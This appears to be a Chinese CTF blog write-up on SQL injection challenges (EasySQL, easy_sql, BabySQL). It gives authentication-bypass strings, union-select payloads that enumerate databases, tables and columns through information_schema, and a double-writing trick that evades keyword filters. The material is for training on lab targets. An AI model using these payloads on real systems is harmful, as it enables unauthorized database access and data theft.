[CTF]-Web:SQL注入题型综合解析

万能密码:

经典无过滤:

例题(极客大挑战 2019 EasySQL):

万能密码:
1'or true#

泄露数据库、表、数据:

经典无过滤:

例题(SWPUCTF 2021 easy_sql):

有提示,参数是wllm,并且要我们输入点东西

所以,我们尝试以get方式传入

回显,但似乎没啥用

从上图看应该是字符型漏洞,单引号字符注入

先查看字段数

/?wllm=2'order by 3--+

没回显

报错了,说明字段数是3

然后查看回显点

/?wllm=2'union select 1,2,3--+

注意,这里需要把wllm设置为不为1的数(就是让他查不到数据就行,因为wllm=1查得到数据),不然它只会输出wllm=1查询到的数据。

然后查看数据库名称

/?wllm=2'union select 1,2,database()--+

得到数据库名称就可以按顺序数据库-表-列来找flag了

/?wllm=2'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='test_db'--+

/?wllm=2'union select 1,2,flag from test_tb--+

双写绕过:

例题(极客大挑战 2019 BabySQL):

这里用1'order by 1#可以看出来or被过滤为空了

查看回显,下面都是用username来注入的

1'ununionion seselectlect 1,2,3#

查看数据库名

1'ununionion seselectlect 1,database(),3#

查看表名

1'ununionion seleselectct 1,2,group_concat(schema_name) frfromom infoorrmation_schema.schemata#

查看表

1'ununionion seleselectct 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema='ctf'#

查看Flag列

1'ununionion seleselectct 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name='Flag'#

出flag

1'ununionion seleselectct 1,2,group_concat(flag) frfromom ctf.Flag#

持续更新

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值